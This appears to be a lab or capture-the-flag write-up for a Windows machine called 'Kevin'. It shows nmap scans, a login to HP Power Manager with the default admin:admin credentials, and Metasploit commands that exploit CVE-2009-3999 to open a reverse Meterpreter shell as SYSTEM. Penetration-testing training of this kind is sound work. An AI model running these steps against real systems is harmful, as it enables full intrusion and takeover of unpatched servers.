Kevin

Details

• OS: Windows
• Difficulty: Easy
• IP Address: 192.168.105.45
• Author: AETH3RON

Overview

Kevin is an easy-difficulty Windows machine that exposes a vulnerable web management service leading to remote code execution. The foothold is established by identifying an instance of HP Power Manager running with default credentials, which is vulnerable to a known buffer overflow exploit (CVE-2009-3999). Because the service runs with high privileges, exploiting this vulnerability directly yields System-level access, bypassing the need for lateral movement or further privilege escalation.

Enumeration

Nmap

We began by performing a syn-scan to identify open ports on the target.

nmap -Pn -sS -sV -p- 192.168.105.45 -oN nmap-basic

Following the port discovery, we ran a targeted scan using default scripts to enumerate the services running on the discovered ports.

nmap -Pn -sC -sV -p80,135,139,445,3389,3573 192.168.105.45 -oN nmap-common

Web Enumeration

We investigated the web server running on port 80. Upon accessing the site, we observed a login interface for HP Power Manager.

To gain access, we attempted to authenticate using the default credentials admin:admin.

admin:admin

We successfully logged in.

To determine if the software was vulnerable, we navigated to the “Help” tab to retrieve the exact version number.

The application confirmed it is running HP Power Manager version 4.2.

Foothold

Researching this specific version revealed it is vulnerable to a buffer overflow attack (CVE-2009-3999) caused by a boundary error when processing the fileName parameter in HTTP POST requests. We utilized the Metasploit module exploit/windows/http/hp_power_manager_filename to exploit this vulnerability.

use exploit/windows/http/hp_power_manager_filename
set LHOST 192.168.45.212
set RHOSTS 192.168.105.45
run

The exploit succeeded, opening a Meterpreter session. We then dropped into a standard shell to verify our current user context.

shell
whoami

The output confirmed we are running as nt authority\system. Since the vulnerable service was running with system-integrity privileges, no further privilege escalation was required.

Business Impact

This machine demonstrates the critical risk of deploying management interfaces with default credentials and unpatched software. HP Power Manager, commonly found in enterprise data centers for UPS monitoring, runs with SYSTEM privileges by design. An attacker exploiting the buffer overflow gains immediate, unrestricted access to the server — no privilege escalation required. In a production environment, this would enable full control over power management infrastructure, potentially allowing an attacker to disrupt physical operations by manipulating UPS configurations or using the compromised host as a pivot point into the broader network.

References

• HP Power Manager Exploit:
  • https://www.rapid7.com/db/modules/exploit/windows/http/hp_power_manager_filename/
• CVE-2009-3999 (NVD):
  • https://nvd.nist.gov/vuln/detail/CVE-2009-3999